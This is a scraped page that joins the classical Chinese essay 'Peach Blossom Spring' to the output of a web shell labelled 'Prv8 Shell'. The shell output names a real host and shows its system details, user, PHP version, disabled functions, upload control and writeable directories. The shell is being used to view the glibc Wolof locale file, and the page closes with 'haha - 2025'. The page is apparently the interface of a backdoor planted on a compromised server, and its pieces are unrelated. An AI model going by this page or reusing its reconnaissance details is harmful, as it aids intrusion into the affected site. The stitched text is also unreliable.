晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/i18n/locales/wo_SN
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% Wolof locale for Senegal
% Source: The Debian Project
% Contact: Christian Perrier/Samba Ndao Diop
% Email: bubulle@debian.org/samba.ndao.diop@tiscali.fr
% Tel: +33 - 130699222
% Language: wo
% Territory: SN
% Revision: 1.0
% Date: 2004-09-15
% Users: general

LC_IDENTIFICATION
title      "Wolof locale for Senegal"
source     "The Debian Project"
address    ""
contact    "Christian Perrier"
email      "bubulle@debian.org"
tel        ""
fax        ""
language   "Wolof"
territory  "Senegal"
revision   "1.0"
date       "2004-09-08"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
category "i18n:2012";LC_MEASUREMENT
END LC_IDENTIFICATION

LC_CTYPE
copy "i18n"

translit_start

% Accents are simply omitted if they cannot be represented.
include "translit_combining";""

translit_end

END LC_CTYPE

LC_COLLATE
% Copy the template from ISO/IEC 14651
copy "iso14651_t1"
END LC_COLLATE

LC_MESSAGES
yesexpr "^[+1wWyY]"
noexpr  "^[-0dDnN]"
yesstr  "waaw"
nostr   "d<U00E9>edet"
END LC_MESSAGES

LC_MONETARY
int_curr_symbol           "XOF "
currency_symbol           "CFA"
mon_decimal_point         ","
mon_thousands_sep         "<U202F>"
mon_grouping              3;3
positive_sign             ""
negative_sign             "-"
int_frac_digits           2
frac_digits               2
p_cs_precedes             0
p_sep_by_space            1
n_cs_precedes             0
n_sep_by_space            1
p_sign_posn               1
n_sign_posn               1
END LC_MONETARY

LC_NUMERIC
decimal_point             ","
thousands_sep             ""
grouping                  0;0
END LC_NUMERIC

LC_TIME
abday   "dib";"alt";/
        "tal";"all";/
        "alx";"ajj";/
        "gaa"
day     "dib'eer";/
        "altine";/
        "talaata";/
        "allarba";/
        "alxames";/
        "ajjuma";/
        "gaawu"
abmon   "san";"fee";/
        "mar";"awr";/
        "me ";"suw";/
        "sul";"uut";/
        "sep";"okt";/
        "now";"des"
mon     "sanwiy'e";/
        "feebriy'e";/
        "mars";/
        "awril";/
        "me";/
        "suwen";/
        "sulet";/
        "uut";/
        "septaambar";/
        "oktoobar";/
        "nowaambar";/
        "desaambar"
d_t_fmt "%a %d %b %Y %T %Z"
d_fmt   "%d.%m.%Y"
t_fmt   "%T"
am_pm   "";""
t_fmt_ampm ""
week 7;19971130;1
first_weekday 2
END LC_TIME

LC_PAPER
copy "i18n"
END LC_PAPER

LC_TELEPHONE
tel_int_fmt    "+%c %a %l"
tel_dom_fmt    "%a %l"
int_prefix     "221"
int_select     "00"
END LC_TELEPHONE

LC_MEASUREMENT
copy "i18n"
END LC_MEASUREMENT

LC_NAME
name_fmt    "%d%t%g%t%m%t%f"
END LC_NAME

LC_ADDRESS
% %f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N
postal_fmt    "%f%N%a%N%d%N%b%N%s %h %e %r%N%z %T%N%c%N"
% https://wo.wikipedia.org/wiki/Senegaal
country_name "Senegaal"
country_ab2 "SN"
country_ab3 "SEN"
country_num 686
country_car "SN"
lang_name    "Wolof"
lang_ab      "wo"
lang_term    "wol"
lang_lib    "wol"
END LC_ADDRESS

haha - 2025